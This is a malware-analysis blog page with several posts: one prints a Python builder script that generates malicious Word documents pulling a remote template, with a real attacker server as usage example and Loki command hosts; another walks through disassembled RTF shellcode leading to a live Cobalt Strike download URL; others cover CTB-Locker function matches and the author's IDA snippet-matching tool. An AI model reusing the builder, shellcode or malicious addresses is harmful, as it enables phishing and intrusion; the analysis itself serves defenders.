My infected computer

something strange happens inside it

  • About
  • Challenges
  • Specific malware analysis
  • Tools

Prothemus1: Python script creates malicious document

Posted by zairon on August 16, 2017
Posted in: Blogroll, General, Malware, Reverse Engineering. Leave a comment

Here is a quick after_dinner_blog_post about multiple offensive campaigns delivered via email with a malicious document in attach. All the malicious documents used in the attacks are built using a Python script named Prothemus1:

from random import *
import base64
import sys
import struct
import binascii

URL = binascii.b2a_hex(sys.argv[1])
PSP = '00'.join([URL[i:i+2] for i in range(0, len(URL), 2)])

P1 = ("7B5C727442FF5C616465666C616E67313032355C616E73695C616E7369637067313235325C7563"
"315C616465666633313530375C64656666305C73747368666462636833313530365C7374736866"
--------------- CUT CUT CUT ---------------
"35333733313332333530303030303030303030343030313030303065306339656137090D39090D"
"66090D39090D62090D61090D63090D65090D31090D31090D38090D63090D3832090D30090D3009"
"0D61090D61090D30090D30090D34090D62090D61090D39090D30090D62090D3238303130303030")
P2 =("303030303030303030303030303030303030303030303030303030303030303030303030303030"
"303030303030303030303030303030303030303030303030303030303030303030303030303030"
"303030303030303030303030303030303030303030303030303030303030303030303030303030"
--------------- CUT CUT CUT ---------------
"303030300D0A303030303030303030303030303030303030303030303030303030303030303030"
"303030303030303030303030303030303130353030303030303030303030307D7D")

part1 = bytearray(binascii.unhexlify(P1))
part2 = bytearray(binascii.unhexlify(P2))

padd = "\x30" *(134-len(PSP))
if len(PSP+padd) > 134 :   
   print ("[+] Error: Please make your URL smaller")   
   exit(0)

print "Usage: " + sys.argv[0] + " URL of Template" + " Output.doc"

file = sys.argv[2]
f = open(file,mode='wb')
f.write(part1+PSP+padd+part2)
print ("[+] Done")

The script is really simple, it  takes two parameters: the url of a remote file and the name of the document to be created. To see the script used in a real scenario take a look at DUBAI_EMQUIRY.doc (SHA256: d7b759f762b6f0761ecd0bf959babc712e069dbdb58585ed83bc5232f1b45d69). The file has been created using the Prothemus1 script in this way:
prothemus1.py HTTP:\\72.167.46.60\ap\121.doc DUBAI_EMQUIRY.doc

72.167.46.60 is not the only server storing malicious documents/payloads, 81.171.7.182 is another one used by the same Threat Actor. Most of the visible folders inside the two servers contain the same two files:
two_files

121.doc is the unique name used for every downloaded document I have seen so far. The new file makes use of VBscript:

vbscript
Two files are downloaded from a compromised website, the real exe payload and a decoy document.
Among all the compromised sites I have seen so far amarinradio.com, toboreklab.com and rawmediatek.com, the last one has an open folder.
compromised

A closer look at the linux.php file reveals an RC-Shell…
rc_shell

I haven’t checked every single payload I have and I can’t be sure about the threats behind this whole system but as far as I have seen I think it’s almost all related to Loki (I repeat, I could be wrong..). Here are few of the contacted hosts by the final exe payload:
– ruralbiznex.bid/heav/loki/fre.php
– ruraltrade.bid/mob/loki/fre.php

This blog post is far from being complete, I have no time to end it with all the necessary information. However, if you needs some more infos because you want to dig in I’ll be happy to share as much as I can.

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

From RTF to Cobalt Strike passing via Flash

Posted by zairon on February 5, 2017
Posted in: Blogroll, General, Malware, reverse code engineering, Reverse Engineering, Uncategorized. 3 Comments

Quick Sunday morning blog post, analysis of an unknown rtf file. This article is a result of an initial investigation, no attribution is done but you’ll have all the necessary info for a deeper investigation.
The malicious document has SHA256: 5D9E1F4DAB6929BC699BA7E5C4FD09F2BBFD6B59D04CEFD8F4BF06710E684A5E.

After a first glance I thought to know what’s behind the rft, but running a specific script I got disappointed by the result. For a quick response, a submission to a sandbox could be the best option you have, but you’ll miss all the fun! I decided to manually check using an hex editor because it’s incredible how you can extract objects in a fast way.

The personal script I tried at the beginning failed to parse extracted objects from the document, too bad but now I know that external objects are inside the file. The first thing to do is to understand why one or more bjects are not correct.
What to look for? Well, I always start checking for known objects, shellcode and things like that.
“465753” (which stands for ‘FWS’, a standard part of the flash file header) is a nice string to put inside the search text box.

image_1

Flash object identification

Seems like the document contains a flash object. According to the Flash file header definition you also know the size of the object, the red box in the picture reveals it: 0x50A1 bytes.
Cut it from the file and paste to a new file (remember to copy as text and paste as hex text).

image_2

Flash object details

Trying to load the new file inside JPEXS flash decompiler doesn’t help too much really. As you can see there’s no code inside, only the suspicious thing represented by the binary data.
Don’t know what’s behind that byte’s sequence, I decided to come back to the hex editor. A closer look at the flash contents reveals a weird sequence of bytes:

image_3

Extra bytes start

image_4

Extra bytes end

Seems like the attacker has modified the flash file inserting some extra bytes in it. What’s the meaning of these bytes? Is it a shellcode? Well, to answer this question is pretty easy, just look at it:

010000 4A               DEC EDX
010001 4B               DEC EBX
010002 4A               DEC EDX
010003 4E               DEC ESI
010004 43               INC EBX
   ...
010055 4B               DEC EBX
010056 4A               DEC EDX
010057 4B               DEC EBX
010058 4A               DEC EDX
010059 4A               DEC EDX
01005A 42               INC EDX
01005B D9 EE            FLDZ
01005D D9 74 24 F4      FSTENV (28-BYTE) PTR SS:[ESP-C]
010061 5F               POP EDI ; EDI = 1005D
010062 83 C7 2B         ADD EDI,2B ; EDI = 0x10086, first byte to decrypt
010065 BA 8A FE FF FF   MOV EDX,-176
01006A F7 DA            NEG EDX ; EDI = 0x176, number of bytes to decrypt
01006C 31 F6            XOR ESI,ESI
01006E B4 4C            MOV AH,4C   ; xor key
010070 8A 07            MOV AL,BYTE PTR DS:[EDI] ; get current byte
010072 30 E0            XOR AL,AH ; xor decryption
010074 A8 01            TEST AL,1
010076 75 04            JNZ SHORT 0001007C
010078 FE C0            INC AL
01007A EB 02            JMP SHORT 0001007E
01007C FEC8             DEC AL
01007E 8807             MOV BYTE PTR DS:[EDI],AL ; save the decrypted byte
010080 46               INC ESI
010081 47               INC EDI
010082 39 D6            CMP ESI,EDX
010084 75 EA            JNZ SHORT 00010070

The first part of the shellcode is a simple xor decryption algorithm, the real shellcode starts when decryption has done. Here is the second part of the shellcode:

010086 31 C9               XOR ECX,ECX
010088 64 8B 71 30         MOV ESI,DWORD PTR FS:[ECX+30] ; PEB base address
01008C 8B76 0C             MOV ESI,DWORD PTR DS:[ESI+C] ; pointer to PEB_LDR_DATA
01008F 8B 76 1C            MOV ESI,DWORD PTR DS:[ESI+1C] ; InInitializationOrderModuleList
010092 8B 6E 08            MOV EBP,DWORD PTR DS:[ESI+8] ; base address of the current element
010095 8B 46 20            MOV EAX,DWORD PTR DS:[ESI+20] ; name of the current element
010098 8B 36               MOV ESI,DWORD PTR DS:[ESI] ; next item
01009A 66 39 48 18         CMP WORD PTR DS:[EAX+18],CX ; right dll check based on dll name length
01009E 75 F2               JNZ SHORT 00010092 ; loop until "kernel32.dll" has not been found
0100A0 8B 45 3C            MOV EAX,DWORD PTR SS:[EBP+3C] ; PE offset
0100A3 8B 54 05 78         MOV EDX,DWORD PTR SS:[EBP+EAX+78] ; Export table offset
0100A7 01 EA               ADD EDX,EBP
0100A9 8B 72 20            MOV ESI,DWORD PTR DS:[EDX+20]
0100AC 01 EE               ADD ESI,EBP
0100AE 31 C9               XOR ECX,ECX
0100B0 41                  INC ECX
0100B1 AD                  LODS DWORD PTR DS:[ESI]
0100B2 01 E8               ADD EAX,EBP ; offset of the current export name
0100B4 8B 18               MOV EBX,DWORD PTR DS:[EAX]
0100B6 2B 58 04            SUB EBX,DWORD PTR DS:[EAX+4]
0100B9 81 FB E5 20 DD FF   CMP EBX,FFDD20E5 ; search IsBadReadPtr export
0100BF 75 EF               JNZ SHORT 000100B0 ; checksum algo over export name
0100C1 49                  DEC ECX
0100C2 8B 5A 24            MOV EBX,DWORD PTR DS:[EDX+24]
0100C5 01 EB               ADD EBX,EBP
0100C7 66 8B 0C 4B         MOV CX,WORD PTR DS:[EBX+ECX*2]
0100CB 8B 5A 1C            MOV EBX,DWORD PTR DS:[EDX+1C]
0100CE 01 EB               ADD EBX,EBP
0100D0 03 2C 8B            ADD EBP,DWORD PTR DS:[EBX+ECX*4]
0100D3 55                  PUSH EBP
0100D4 55                  PUSH EBP
0100D5 31 DB               XOR EBX,EBX
0100D7 66 81 CB FF 0F      OR BX,0FFF
0100DC 43                  INC EBX
0100DD 6A 08               PUSH 8
0100DF 53                  PUSH EBX
0100E0 8B 44 24 08         MOV EAX,DWORD PTR SS:[ESP+8]
0100E4 FF D0               CALL EAX   ; IsBadReadPtr
0100E6 85 C0               TEST EAX,EAX
0100E8 75 ED               JNZ SHORT 000100D7

The shellcode tries to identify IsBadReadPtr function. After that there’s a loop used to search for a memory space where the calling process has read access. Basically the snippet is used to locate a memory space owned by Word aplication.

0100EA B8 51 51 68 68      MOV EAX,68685151 
0100EF 89 DF               MOV EDI,EBX
0100F1 AF                  SCAS DWORD PTR ES:[EDI]   ; 1° search 
0100F2 75 E8               JNZ SHORT 000100DC
0100F4 AF                  SCAS DWORD PTR ES:[EDI]   ; 2° search
0100F5 ^75 E5              JNZ SHORT 000100DC
0100F7 81 3F 95 95 E8 E8   CMP DWORD PTR DS:[EDI],E8E89595   ; 3° search
010107 B9 02 8D 01 00      MOV ECX,18D02 
01010C B8 C5 9D 1C 81      MOV EAX,811C9DC5
010111 BF 93 01 00 01      MOV EDI,1000193
010116 F7 E7               MUL EDI
010118 32 06               XOR AL,BYTE PTR DS:[ESI]
01011A 46                  INC ESI
01011B E2 F9               LOOPD SHORT 00010116
01011D 5B                  POP EBX
01011E 5F                  POP EDI
01011F 5E                  POP ESI
010120 3D 17 77 F9 7E      CMP EAX,7EF97717 ; right checksum over the 0x18D02 bytes
010125 75 B0               JNZ SHORT 000100D7 ; jump if it's not the right memory space

Search for the bytes sequence “51 51 68 68 51 51 68 68 95 95 E8 E8” in the memory space validated by IsBadReadPtr. The sequence is located at the very beginning of the rtf file, that means the code is used to identify the memory space containing the loaded rtf document.

010127 83 C7 04         ADD EDI,4 ; skip the 12 bytes used to identify the right portion of memory 
01012A 59               POP ECX
01012B 57               PUSH EDI ; edi -> 85 95 46 00 DE 00 00 00 E0 ...
01012C 31 C9            XOR ECX,ECX
01012E B6 C1            MOV DH,0C1 
010130 BE F6 8C 01 00   MOV ESI,18CF6 
010135 8A 17            MOV DL,BYTE PTR DS:[EDI] 
010137 80 FA 00         CMP DL,0
01013A 74 09            JE SHORT 010145 
01013C 80 C6 07         ADD DH,7
01013F 38 F2            CMP DL,DH 
010141 74 02            JE SHORT 00010145
010143 30 F2            XOR DL,DH ; decrypt byte
010145 88 17            MOV BYTE PTR DS:[EDI],DL ; save decrypted byte
010147 41               INC ECX
010148 47               INC EDI
010149 39 F1            CMP ECX,ESI
01014B 75 E8            JNZ SHORT 00010135

Another decryption routine, the decrypted area contains a PE file. Too bad the 0x18CF6 decrypted bytes are not the real payload. The next part of the shellcode helps me to identify the real payload:

0001017F FF D0               CALL EAX   ; HeapCreate
00010181 05 00 10 00 00      ADD EAX,1000
00010186 50                  PUSH EAX
00010187 FF 74 24 04         PUSH DWORD PTR SS:[ESP+4]   ; 1° byte decrypted PE
0001018B 31 C9               XOR ECX,ECX
0001018D C7 00 00 00 00 00   MOV DWORD PTR DS:[EAX],0
00010193 83 C1 04            ADD ECX,4
00010196 83 C0 04            ADD EAX,4
00010199 81 F9 00 90 03 00   CMP ECX,39000
0001019F 75 EC               JNZ SHORT 0001018D    ;loop used to clean the allocated memory space
000101A1 5E                  POP ESI 
000101A2 5F                  POP EDI
000101A3 B9 F6 12 00 00      MOV ECX,12F6  ; number of bytes to move: 0x12F6
000101A8 56                  PUSH ESI    ; move starting from 0x17A00 offset
000101A9 81 C6 00 7A 01 00   ADD ESI,17A00
000101AF 57                  PUSH EDI
000101B0 F3 A4               REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
000101B2 C3                  RETN   ; jump to the 1° moved byte

Nice, now I can say what the payload is really. The last part of the decrypted block of bytes (len 0x12F6) represents another part of the shellcode. So, if you remove the last 0x12F6 bytes from the decrypted PE file you’ll get the real payload!

Basically the last part of the shellcode is used to perform two distinct actions:
– execute the real payload
– run the Word application passing a fake word document as a parameter. The fake document is created inside the last part of the shellcode. The use of a fake document is a standard operation performed by the actors, they try to fool the victim run the Word application passing a fake word document as a parameter. The fake document is created inside the last part of the shellcode. The use of a fake document is a standard operation performed by the actors, they try to fool the victim hiding their real intentions.
Extracted payload SHA256 is 4c72df74a1e8039c94b188f1c5c59f30ddcc7107647689e4d908e55d04ff8b52. This new file is a downloader used to get the final stage, the real dangerous part of the entire scheme: Cobalt Strike.

To sum-up:

RTF file: 5d9e1f4dab6929bc699ba7e5c4fd09f2bbfd6b59d04cefd8f4bf06710e684a5e
Extracted payload: 4c72df74a1e8039c94b188f1c5c59f30ddcc7107647689e4d908e55d04ff8b52
Cobalt Strike artifact url: https://193.238.152.198/OeeC
Cobalt Strike artifact: 2fa6ec644b0a05c0cbe7ebaf4cc4905281e65764e91ed299d5cb3f54ab4943bf

(Beware: at the time of writing everything is still up.)

Possible related rtf files:

7a63fc5253deb672036e018750fd40dc3e8502f3b07ef225e7e6bc1144d1d7ee
08c9bd7b7b8361c5d217570019ff012773407337c9083910f2ae3a09b5401345
8e27a641684da744a0882d3664cf84d5a88b8e82ac0070d3602af0b7c103eeeb
9c7208c5c0d431738c8682cf6a2bd81df66977cbabffa0570f9d70518bece912
21dda5c82e5aa5c8545b96dc2d6d63e6786fea73453f5acaa571fd5c0466363d
af178ff11088ff59640f74191785adf134aee296652080f397cf282db36fad46
cb743f5057c77069a10ecd9e6b4fd48be096b1502e9fb3548e8a742e284eeae2

Lunch is ready, byebye!

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

Quick post: GlblcntUsage value

Posted by zairon on April 29, 2015
Posted in: General, Malware, Reverse Engineering. 1 Comment

While I was checking a malware I stumbled on a piece of code using GlblcntUsage I have not seen before. GlblcntUsage is a member of MODULEENTRY32 structure and, according to MSDN, it’s defined as: “the load count of the module, which is not generally meaningful, and usually equal to 0xFFFF”. There’s a piece of code on Github written by Justin Seitz about the use of GlblcntUsage, it’s not the same sample code but it’s somehow related to the idea implemented inside the malware.

This is the scenario: the malware installs some API hooks using Martona’s hook library and, at a certain point it needs to un-hook one of them. The un-hook procedure is not directly called, the call depends on the value stored inside GlblcntUsage, here is the pseudo code:

void UnHook(hModule) {
   DWORD th32ProcessID;
   int countVal;
   
   th32ProcessID = GetCurrentProcessId();
   countVal = GetGlblcntUsageValueOfSpecificHModule(hModule, th32ProcessID);
   if (countVal != 1)
      return();
   
   /* Un-hook!!! */
}
int GetGlblcntUsageValueOfSpecificHModule(_hModule, _th32ProcessID) {
   MODULEENTRY32 me;
   HANDLE hSnap;
   uint _GlblcntUsage = 0;
   hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, _th32ProcessID);
   if (Module32First(hSnap, &me)) {
      while (me.hModule != _hModule) {
         if (!Module32Next(hSnap, &me) {
            CloseHandle(hSnap);
            return(_GlblcntUsage);
         }
      }
      _GlblcntUsage = me.GlblcntUsage;
   }
   CloseHandle(hSnap);
   return(_GlblcntUsage);
}

If the module has not been loaded the returned value is 0 otherwise it’s the content of GlblcntUsage variable. Un-hook takes place if and only if the returned count value from GetGlblcntUsageValueOfSpecificModule is exactly 1.

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

Another CTB-Locker related e-mail inside my junk box

Posted by zairon on April 15, 2015
Posted in: General, Malware, Reverse Engineering, Snippet Detector. Leave a comment

While I was checking my junk e-mail folder I found something resembling a CTB-Locker e-mail type. The e-mail text is in italian language without typo errors. Opening the attachment inside a safe environment I recognize the same infection method, everything starts from the word file (this time in French language) executed by the exe file inside the attached Zip (Sha256: BF0ED6937D3B8A882FCB4EB9F22B5B69FB1ED4E35F2692BF3B7C8CFBD7266543). The only thing I haven’t seen before is the fact that the exe file is using .NET library. I decided to go deep a little bit more into the file analisys raw dumping the running malware at two random points. Applying Snippet Detector I got the next results for the two dumps:

[SNIPPET DETECTOR] Semantic match at 0x401C44
Snippet name: CTB_Locker__DecryptDownloadedExeFile
Snippet description: CTB-Locker::DecryptDownloadedExeFile decrypts the file downloaded from the net

[SNIPPET DETECTOR] Semantic match at 0x401CBF
Snippet name: CTB_Locker__ShowErrorAndExitProcess
Snippet description: CTB-Locker::ShowErrorAndProcessEnd is called when an error occurs. It format the error message, it shows it and then it terminates the malware

[SNIPPET DETECTOR] Semantic match at 0x401E90
Snippet name: CTB_Locker__CabinetCallback
Snippet description: CTB-Locker::CabinetCallback used to format the .rtf complete file path

[SNIPPET DETECTOR] Semantic match at 0x401F4B
Snippet name: CTB_Locker__MoveUnicodeString
Snippet description: CTB-Locker::MoveUnicodeString moves one unicode string into another buffer

[SNIPPET DETECTOR] Syntactic match at 0x40242D
Snippet name: CTB_Locker__ChecksumOverDecryptedExeFile
Snippet description: CTB-Locker::ChecksumOverDecryptedExeFile applies a checksum over a sequence of bytes

[SNIPPET DETECTOR] 1 syntactic snippet, 4 semantic snippet and 0 multiple matches has been found
[SNIPPET DETECTOR] Semantic match at 0xC58F
Snippet name: CTB_Locker__UnicodeStringCompare
Snippet description: CTB-Locker::UnicodeStringCompare

[SNIPPET DETECTOR] Semantic match at 0x1CDF3
Snippet name: CTB_Locker__AESDecrypt
Snippet description: CTB_Locker__AESDecrypt decrypts applying the AES algo.

[SNIPPET DETECTOR] Semantic match at 0x1F9B8
Snippet name: CTB_Locker__SHA256
Snippet description: CTB-Locker::SHA256 hash function

[SNIPPET DETECTOR] Semantic match at 0x2A5DA
Snippet name: CTB_Locker__AESEncrypt
Snippet description: CTB-Locker::AESEncrypt encrypts applying the AES algo.

[SNIPPET DETECTOR] Semantic match at 0x2CF31
Snippet name: CTB_Locker__AESEncryptExpandKey
Snippet description: CTB-Locker::AESEncryptExpandKey function used at the beginning of the AES encryption process

[SNIPPET DETECTOR] Semantic match at 0x33A0C
Snippet name: CTB_Locker__AESDecryptExpandKey
Snippet description: CTB-Locker::AESDecryptExpandKey function used at the beginning of the AES decryption process.

[SNIPPET DETECTOR] Semantic match at 0x43BD0
Snippet name: CTB_Locker__ZLibDecompress
Snippet description: CTB-Locker::ZLibDecompress

[SNIPPET DETECTOR] Semantic match at 0x683F7
Snippet name: CTB_Locker__Curve_25519
Snippet description: CTB-Locker::Curve_25519 crypto

[SNIPPET DETECTOR] Semantic match at 0x8D3F0
Snippet name: CTB_Locker__MoveExtensionsFileIntoSeparateBuffers
Snippet description: CTB-Locker::MoveExtensionsFileIntoSeparateBuffers

[SNIPPET DETECTOR] Syntactic match at 0x8D487
Snippet name: CTB_Locker__UnicodeStringAppend
Snippet description: CTB-Locker::UnicodeStringAppend

[SNIPPET DETECTOR] Semantic match at 0x8D4B0
Snippet name: CTB_Locker__GenSecretAndPublicKeys
Snippet description: CTB-Locker::GenSecretAndPublicKeys generates two distinct keys for a future use.

[SNIPPET DETECTOR] Semantic match at 0x8D5F0
Snippet name: CTB_Locker__CRCChecksum
Snippet description: CTB-Locker::CRCChecksum, crc checksum used by CTB-Locker

[SNIPPET DETECTOR] Semantic match at 0x8D624
Snippet name: CTB_Locker__GetMachineGUIDMultibyte
Snippet description: CTB_Locker__GetMachineGUIDMultibyte converts the machineGUID into multibyte

[SNIPPET DETECTOR] Semantic match at 0x8D876
Snippet name: CTB_Locker__TryToDecryptCandidateFile
Snippet description: CTB-Locker::TryToDecryptCandidateFile tries to decrypt a file using one of the available keys

[SNIPPET DETECTOR] Semantic match at 0x8D92C
Snippet name: CTB_Locker__DecryptWithPrivateKey
Snippet description: CTB-Locker::DecryptWithPrivateKey using elliptic curve, sha256, AES and ZLib decompression algo

[SNIPPET DETECTOR] Semantic match at 0x8DCD2
Snippet name: CTB_Locker__DetectVM
Snippet description: CTB_Locker__DetectVM tries to detect VM. Return 1 if VM is detected, 0 otherwise

[SNIPPET DETECTOR] Semantic match at 0x8E090
Snippet name: CTB_Locker__GetSytemFileProcessesVMInfo
Snippet description: CTB-Locker::GetSytemFileProcessesVMInfo performs some checks over the malware file, the system and the VM

[SNIPPET DETECTOR] Semantic match at 0x8E32E
Snippet name: CTB_Locker__CreateInitialPartOfHIDDENINFO
Snippet description: CTB-Locker::CreateInitialPartOfHIDDENINFO create the initial part of the HiddenInfo file

[SNIPPET DETECTOR] Semantic match at 0x8E567
Snippet name: CTB_Locker__RenderTextOverButton
Snippet description: CTB_Locker__RenderTextOverButton writes a specific text over the dialog button

[SNIPPET DETECTOR] Semantic match at 0x8E85C
Snippet name: CTB_Locker__RenderInfoTextOnTheDialog
Snippet description: CTB-Locker::RenderInfoTextOnTheDialog

[SNIPPET DETECTOR] Semantic match at 0x8EE52
Snippet name: CTB_Locker__RenderGUIDialog
Snippet description: CTB-Locker::RenderGUIDialog

[SNIPPET DETECTOR] Semantic match at 0x8F28D
Snippet name: CTB_Locker__ShowCTBLockerDialogWindow
Snippet description: CTB-Locker::ShowCTBLockerDialogWindow shows one of the CTB-Locker dialogs

[SNIPPET DETECTOR] Syntactic match at 0x8F3AA
Snippet name: CTB_Locker__CreateRandomSevenCharsUnicodeStringFromDwordValue
Snippet description: CTB-Locker::CreateRandomSevenCharsUnicodeStringFromDwordValue

[SNIPPET DETECTOR] Semantic match at 0x8F3D0
Snippet name: CTB_Locker__ParseResponseFromServer
Snippet description: CTB_Locker__ParseResponseFromServer parses the reply obtained from the server

[SNIPPET DETECTOR] Semantic match at 0x90455
Snippet name: CTB_Locker__DecryptHiddenInfoFile
Snippet description: CTB-Locker::DecryptHiddenInfoFile decrypts the HiddenInfo file

[SNIPPET DETECTOR] Semantic match at 0x904D7
Snippet name: CTB_Locker__DecryptHiddenInfo
Snippet description: CTB-Locker::DecryptHiddenInfo, HiddenInfo file decryption routine

[SNIPPET DETECTOR] Semantic match at 0x9054E
Snippet name: CTB_Locker__EncryptHiddenInfo
Snippet description: CTB-Locker::EncryptHiddenInfo using AES

[SNIPPET DETECTOR] Semantic match at 0x91156
Snippet name: CTB_Locker__CreateBitmapImage
Snippet description: CTB-Locker::CreateBitmapImage creates a bitmap image

[SNIPPET DETECTOR] Semantic match at 0x9354B
Snippet name: CTB_Locker__IsProcessUnderWow64Process
Snippet description: CTB_Locker__IsProcessUnderWow64Process checks to see if the process runs under Wow64Process or not

[SNIPPET DETECTOR] Semantic match at 0x93594
Snippet name: CTB_Locker__Injection
Snippet description: CTB-Locker::Injection function

[SNIPPET DETECTOR] Semantic match at 0x9363F
Snippet name: CTB_Locker_SearchProcessToInjectCodeAndInject
Snippet description: CTB-Locker::SearchProcessToInjectCodeAndInject search the right process for the code injection

[SNIPPET DETECTOR] Semantic match at 0x93D38
Snippet name: CTB_Locker__SearchStringInsideList
Snippet description: CTB-Locker::SearchStringInsideList searches for a specific string inside a list

[SNIPPET DETECTOR] Semantic match at 0xDD450
Snippet name: CTB_Locker__MemoryClear
Snippet description: CTB-Locker::MemoryClear

[SNIPPET DETECTOR] 2 syntactic snippet, 31 semantic snippet and 0 multiple matches has been found

Well, seems like nothing has changed inside the core of the malware. I can stop my analysis.

You can download the CTB-Locker local database for Snippet Detector here and try yourself.

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

Snippet Detector

Posted by zairon on March 31, 2015
Posted in: General, Malware, Reverse Engineering. Leave a comment

One year ago I blogged about a tool of mine I use to recognize snippets from a disassembled binary file. The tool often speeds up my dead list analysis process. The annoying thing is that it works in cooperation with IDA, and it’s somehow a waste of time because I have to switch from one program to another and vice versa a lot of time. Since of IDA is the most used disassembler program out there I decided to morph my project into an IDA Python scripts project.

The project is called Snippet Detector (SD in short), and the aim is to collect as many disassembled snippets as I can. At the moment a snippet is indeed a defined function and it’s everything saved inside a database. The info inside the database can be later applied to a new disassembled file hoping to find one or more matches.

My idea is to exchange the saved information about a malware (or a generic disassembled file) with someone else in an easy way. Suppose I put on the net my local SD database of Zeus malware, it’s available for everyone and you can use it as a local database increasing your possibility to reduce the analysis time facing a new malware born from Zeus source code. You can even use my database to understand obscure parts of the malware itself, just like a new form of a didactical approach. At last, but not least, it could be helpful when a group of people need to work on the same target because you can pass your findings to your collegue making the reversing session a little bit faster than usual.

The database
There are basically two databases, a global and a local database. The global db is used to store all the snippets you collected during your analysis sessions. The local db is generally used to store some snippets only. Why do I need two databases? You are not obliged to use both, you can work with one, another or both databases as you prefer. The idea is to have a global database with all the snippets you have added, and a local with snippets from the current disassembled file only.

Global and local databases are implemented as SQlite db. Global db is unique and it’s stored inside SD folder; a local db is unique for a single disassembled file and it’s located inside the disassembled file folder (under “SD_local_DB” name). Inside you hard disk you will have one global db and one or more local dbs.

Syntactic and semantic matching
The check is done in two different levels: syntactic and semantic. The syntactic matching is obvious, two instructions are identical if and only if they have the same bytes; apply this method to a series of instructions and you’ll have the definition of a syntactic matching on snippets of code. The idea behind the semantic matching is easy to understand, but it needs a little introduction. Suppose to have:

C7 45 F8 38 5B 41 00   mov  dword ptr [ebp-8],  415B38h
C7 45 F4 34 12 40 00   mov  dword ptr [ebp-0C], 401234h

Two mov instructions with different bytes definition, but both of them are used to move a dword value into a dword in memory. The idea is to convert every instruction of the snippet into another one without changing the semantic meaning of it. The conversion is simply done removing the operand(s). After the conversion I’ll get something like that:

C7 45   mov  dword ptr [ebp-byte_val], dword_val
C7 45   mov  dword ptr [ebp-byte_val], dword_val

In their simplified form the two instructions are semantically identical.

This is exactly the core of my idea, if the meaning of two instructions is the same (syntactic or semantic) I could say they are used for the same thing. Applying these facts to a series of instructions I came up with the idea of this tool.

Python scripts
The pack contains eight files, but only some of them are directly executed as an IDA Python script:

  • SD_AddSnippet.py: add a new snippet to the database. You decide to save the snippet inside the local or global database. The global database is located inside the script folder, the local database is inside the disassembled file folder. It saves the next informations:
    – snippet name: directly taken from the name of the function
    – snippet description: taken from the comment (if there’s one) of the function
    – syntactic bytes sequence
    – semantic bytes sequence
    – snippet comments: all the comments of the instructions
  • SD_DeleteSnippet.py: delete a snippet from the local or global database
  • SD_UpdateSnippet.py: update information of an already saved snippet. It’s possible to update the name/description/comments
  • SD_IdentifyOneSnippet.py: try to identify one snippet only
  • SD_IdentifySnippets.py: try to identify all the snippets of the disassembled file. It scans all the functions inside the currently disassembled file trying to find a possible match in the local/global database (syntactic/semantic match)

The next files are used by the previous ones:

  • SD_db.py: class used to define all SQlite related operations needed by Snippet Detector scripts
  • SD_Common.py: common functions definition class
  • SD_Semantic.py: semantic related stuff

Installation
Snippet Detector is available at GitHub page. To install Snippet Detector, just copy every .py file inside your preferred folder.

Practical example
Here is a brief explanation of Snippet Detector in practice. Look inside ‘Test sample’ folder, I have created a simple and minimal local database with few snippets from Zeus malware (hash: 70c1be0e03046d03c02d1ffc4a858653, pwd is ‘infected’). There are only 10 saved snippets taken from various parts of the file:

    Core::initOSBasic
    Core::GetPeSettingsPath
    Crypt::crc32Hash
    Fs::_pathCombine
    MalwareTools::_getOsGuid
    MalwareTools::_generateKernelObjectName
    Process::_getUserByProcessHandle
    Registry::_setValueAsBinary
    Wahook::checkAvalibleBytes
    WinSecurity::_getUserByToken

To save a snippet is really simple, once you have completed the analysis of the function, point the cursor inside one of the instructions of the function and run SD_AddSnippet.py script. Select local or global database, nothing else.
Now, suppose you need to analyze Kins malware (hash: 7b5ac02e80029ac05f04fa5881a911b2, pwd is ‘infected’), it’s now obvious that there are some correspondences between the two malwares, but in the past it was not so obvious. Anyway, put SD_local_DB folder inside the Kins folder; now, you can run SD_IdentifySnippets.py hoping to find some matches (don’t forget to use the local database). Once the script has been totally executed you’ll see the report of the operation:

[SNIPPET DETECTOR] Semantic match at 0x407711
Snippet name: core_initOsBasic
Snippet description: static bool __inline initOsBasic(DWORD flags)

[SNIPPET DETECTOR] Semantic match at 0x41A7DB
Snippet name: Crypt_crc32Hash
Snippet description: DWORD Crypt::crc32Hash(const void *data, DWORD size)

[SNIPPET DETECTOR] Semantic match at 0x41AA43
Snippet name: Process__getUserByProcessHandle
Snippet description: TOKEN_USER *Process::_getUserByProcessHandle(HANDLE process, LPDWORD sessionId)

[SNIPPET DETECTOR] Semantic match at 0x41CAAE
Snippet name: WinSecurity__getUserByToken
Snippet description: TOKEN_USER *WinSecurity::_getUserByToken(HANDLE token)

[SNIPPET DETECTOR] Semantic match at 0x41D630
Snippet name: Registry__setValueAsBinary
Snippet description: bool Registry::_setValueAsBinary(HKEY key, const LPWSTR subKey, const LPWSTR value, DWORD type, const void *buffer, DWORD bufferSize)

[SNIPPET DETECTOR] Semantic match at 0x41DBA1
Snippet name: wahook_checkAvalibleBytes
Snippet description: static DWORD_PTR checkAvalibleBytes(HANDLE process, void *address)

[SNIPPET DETECTOR] Semantic match at 0x41EC8D
Snippet name: Fs__pathCombine
Snippet description: bool Fs::_pathCombine(LPWSTR dest, const LPWSTR dir, const LPWSTR file)

[SNIPPET DETECTOR] 0 syntactic snippet, 7 semantic snippet and 0 multiple matches has been found

SD is able to semantically identify 7 of 10 functions (it’s quite hard to find a syntactic match, you should know why…), and you can now start checking the file with a little initial help. I have also added a ‘multiple matches’ voice in case there’s a semantic corrispondence with more than one saved snippet. In this case you can decide what’s the best snippet to apply running SD_IdentifyOneSnippet.py script.

In the end
Snippet Detector is in early beta version, and I’m planning to add some more features in the future. Feel free to report bugs/comments/criticisms directly to my mail address.

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

CTB-Locker encryption/decryption scheme in details

Posted by zairon on February 17, 2015
Posted in: Cryptography, General, Malware, Reverse Engineering. 20 Comments

After my last post about CTB-Locker I received a lot of e-mails from people asking for a complete analysis of the malware. Most of them wanted to know if it’s possible to restore the compromised files without paying the ransom. The answer is simple: it’s impossible without knowing the Master key! That key resides on the malicious server and it’s the only way to restore every single compromised file.

